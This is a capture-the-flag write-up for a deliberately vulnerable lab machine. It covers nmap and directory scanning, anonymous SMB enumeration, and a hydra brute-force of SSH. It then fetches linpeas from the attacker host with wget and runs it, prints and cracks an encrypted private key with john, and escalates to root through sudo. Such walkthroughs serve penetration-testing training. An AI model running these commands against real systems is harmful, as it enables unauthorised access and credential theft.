This is my write-up for the room Basic Pentesting on TryHackMe. You can also find this CTF on Vulnhub here.

P.S: I highly encourage you to try solving the challenges on your own first then check this writeup if you are stuck.

Reconnaissance


Target = 10.10.76.199

Enumeration / Scanning


Let’s start with an initial Nmap scan.

Service / Port Enumeration

# nmap -oN initialscan.nmap -sS -sV -T4 10.10.76.199

# Nmap 7.91 scan initiated Fri Sep  3 17:10:15 2021 as: nmap -oN initialscan.nmap -sS -sV -T4 10.10.76.199
Nmap scan report for 10.10.76.199
Host is up (0.31s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat 9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  3 17:10:36 2021 -- 1 IP address (1 host up) scanned in 20.42 seconds

The Nmap scan gives us 6 ports or services.

Port State Service Version
22 open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80 open http Apache httpd 2.4.18 ((Ubuntu))
139 open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445 open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009 open ajp13 Apache Jserv (Protocol v1.3)
8080 open http Apache Tomcat 9.0.7

Web enumeration

Let’s enumerate the webserver running on port 80. If we visit the site we receive a message stating the site is “Undergoing maintenance - Please check back later.”

Nothing really to see here so let’s do a directory scan on the site using feroxbuster.

# feroxbuster -u http://10.10.76.199 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 200 -C 403 -x txt,php,log,html,bak -o feroxbuster.scan

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.76.199
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💢  Status Code Filters   │ [403]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ feroxbuster.scan
 💲  Extensions            │ [txt, php, log, html, bak]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      318c http://10.10.76.199/development
200       10l       24w      158c http://10.10.76.199/index.html
200        9l       89w      483c http://10.10.76.199/development/dev.txt
200        7l       42w      235c http://10.10.76.199/development/j.txt
[####################] - 51s    56424/56424   0s      found:4       errors:123    
[####################] - 41s    28212/28212   694/s   http://10.10.76.199
[####################] - 40s    28212/28212   709/s   http://10.10.76.199/development

We found the following:

  • /development/ (Hidden dir)
  • dev.txt
  • j.txt

Let’s open a web browser and take a look at the contents of the dev.txt and j.txt files.

dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). 

Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

Okay, so we can see some version info (2.5.12) being shared as well as SMB being recently set up.

j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

Interesting. SMB mentioned and a weak hash for one of the users exists on the system.

SMB enumeration

Looking back at our Nmap results and seeing SMB/445 is open on the target we can logically assume that SMB might be potentially vulnerable to misconfiguration exploitation or user credentials could be cracked.

Enum4linux is a tool we can use to enumerate SMB shares. If you want some training on the usage of this tool I highly would recommend you check out the Network Services room on TryHackMe here. That said, the most often syntax used is:

enum4linux -A ipaddress

-A means full enumeration

# enum4linux -A 10.10.76.199
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Sep  4 15:29:57 2021

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.76.199
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===================================================== 
|    Enumerating Workgroup/Domain on 10.10.76.199    |
 ===================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================= 
|    Nbtstat Information for 10.10.76.199    |
 ============================================= 
Looking up status of 10.10.76.199
        BASIC2          <00> -         B <ACTIVE>  Workstation Service
        BASIC2          <03> -         B <ACTIVE>  Messenger Service
        BASIC2          <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ====================================== 
|    Session Check on 10.10.76.199    |
 ====================================== 
[+] Server 10.10.76.199 allows sessions using username '', password ''

 ============================================ 
|    Getting domain SID for 10.10.76.199    |
 ============================================ 
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ======================================= 
|    OS information on 10.10.76.199    |
 ======================================= 
[+] Got OS info for 10.10.76.199 from smbclient: 
[+] Got OS info for 10.10.76.199 from srvinfo:
        BASIC2         Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

 ========================================== 
|    Share Enumeration on 10.10.76.199    |
 ========================================== 

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.76.199
//10.10.76.199/Anonymous       Mapping: OK, Listing: OK
//10.10.76.199/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

 ===================================================== 
|    Password Policy Information for 10.10.76.199    |
 ===================================================== 


[+] Attaching to 10.10.76.199 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] BASIC2
        [+] Builtin

[+] Password Info for Domain: BASIC2

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes 


[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 

 ======================================================================== 
|    Users on 10.10.76.199 via RID cycling (RIDS: 500-550,1000-1050)    |
 ======================================================================== 
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

Quite a lot of output I know but let’s digest these results.

  1. Determined the OS is Ubuntu
  2. Determined there is a sharename called Anonymous
  3. Determined Password policy is weak as there is no password complexity or minimum password length policies in place.
  4. Determined two users kay and jan exist on the target

From here let’s connect to the Anonymous SMB share using the following credentials.

Username: anonymous

Password: BLANK

# sudo smbclient //10.10.76.199/Anonymous -U Anonymous -p 445
Enter WORKGROUP\Anonymous's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018
c
                14318640 blocks of size 1024. 11088788 blocks available  

Okay, there is a staff.txt file in the share. Let’s download it and output the contents.

smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

# cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Here we find another message confirming the users jan and kay. Jan seems like an irresponsible user. So what can we do with this information gathered so far?

Well, we have a list of users and all we lack is the password(s) to these accounts to gain access.

Gaining Access / Exploitation


We can use hydra to perform a dictionary attack against the user jan to obtain the password.

# sudo hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt 10.10.76.199 ssh

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 16:10:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.76.199:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 14344315 to do in 8538:17h, 4 active
[STATUS] 27.29 tries/min, 191 tries in 00:07h, 14344208 to do in 8761:44h, 4 active
[STATUS] 26.93 tries/min, 404 tries in 00:15h, 14343995 to do in 8876:15h, 4 active
[22][ssh] host: 10.10.76.199   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 16:40:04

Now we have credentials for the user jan. Let’s login through SSH.

Username: jan

Password: armando

# ssh jan@10.10.76.199    
The authenticity of host '10.10.76.199 (10.10.76.199)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.76.199' (ECDSA) to the list of known hosts.
jan@10.10.76.199's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$ 

We have successfully logged in as jan. Now that we’ve got a good initial foothold let’s look around and figure out ways to escalate privileges.

Maintaining Access / Priviledge Escalation


I used a tool called Linpeas to automate this process of find methods of privesc.

First, we need to get this tool on the target system.

Host

# cd toolbox/ # Navigate to where linpeas.sh file is contained
# python3 -m http.server 80 # Start local HTTP server 

Victim

$ cd /tmp/ # Navigate to the tmp folder where all read write access is allowed
$ wget 10.10.10.10/toolbox/linpeas.sh # Download linpeas.sh from Host

--2021-09-04 18:13:08--  http://10.10.10.10/toolbox/linpeas.sh
Connecting to 10.10.10.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 470149 (459K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                   100%[==============================================>] 459.13K   124KB/s    in 3.7s    

2021-09-04 18:13:12 (124 KB/s) - ‘linpeas.sh’ saved [470149/470149]

jan@basic2:/tmp$

Now let’s run linpeas.sh and see what result we get.

$ chmod +x linpeas.sh
$ ./linpeas.sh
...
══════════╣ Searching SSL/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)
id_dsa* Not Found

-rw-r--r-- 1 kay kay 3326 Apr 19  2018 /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnP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5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
-rw-r--r-- 1 kay kay 771 Apr 19  2018 /home/kay/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!

known_hosts Not Found

authorized_hosts Not Found

-rw-rw-r-- 1 kay kay 771 Apr 23  2018 /home/kay/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!

Port 22
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes

══╣ Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
...

In the user kay directory there is a private RSA SSH key. We can use this key to authenticate through SSH as kay but first, the SSH key is encrypted with a passphrase and must be cracked.

We can do this with 2 tools:

  • ssh2john.py is a python script that converts the SSH key into a usable hash
  • john the infamous password cracking tool John the Ripper to crack the hash
  1. First we need to save the SSH key to our Host/Attacker machine.
jan@basic2:/t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oJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

Copy and paste the key onto your host machine and modify the permissions of the file.

# nano id_rsa # Copy and paste the key and save it as id_rsa
# chmod 600 id_rsa
  1. Next we need to locate the ssh2john.py script and convert the SSH key into a usable hash.
# locate ssh2john
/usr/share/john/ssh2john.py

# /usr/share/john/ssh2john.py id_rsa > id.hash
  1. Now we can crack the hash with john
# sudo john id.hash -wordlist=/usr/share/wordlists/rockyou.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2021-09-04 17:45) 0.4629g/s 6639Kp/s 6639Kc/s 6639KC/sa6_123..*7¡Vamos!
Session completed

Passphrase: beeswax

Now we can try to login as kay from jan using the command below

jan@basic2:~$ ssh kay@10.10.76.199 -i /home/kay/.ssh/id_rsa
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.76.199 (10.10.76.199)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '/home/kay/.ssh/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Sat Sep  4 18:37:44 2021 from 10.10.10.10
kay@basic2:~$ 

We have successfully logged in as kay. Upon checking the directories we find a file called pass.bk.

kay@basic2:~$ ls 
pass.bak
kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$

We have the flag to complete the room. That said, we can also privesc to root with this user.

Confirming kay has sudoer permissions

kay@basic2:~$ sudo -l
[sudo] password for kay: 
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
kay@basic2:~$

The user kay has access to ALL commands so we can invoke one final command to get root.

kay@basic2:~$ sudo su
root@basic2:/home/kay# cd /root/
root@basic2:~# whoami
root
root@basic2:~# cat flag.txt 
Congratulations! You've completed this challenge. 

There are two ways (that I'm aware of) to gain a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a write-up, I hope you'll send me a link! 
I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach out to me.

Happy hacking!
root@basic2:~#

Conclusion


So what can we learn from this?

  • Service misconfigurations can lead to potential exploits
  • Enforce password policy and password complexity
  • Incorrect file permissions can cause a machine to be compromised regardless of security practices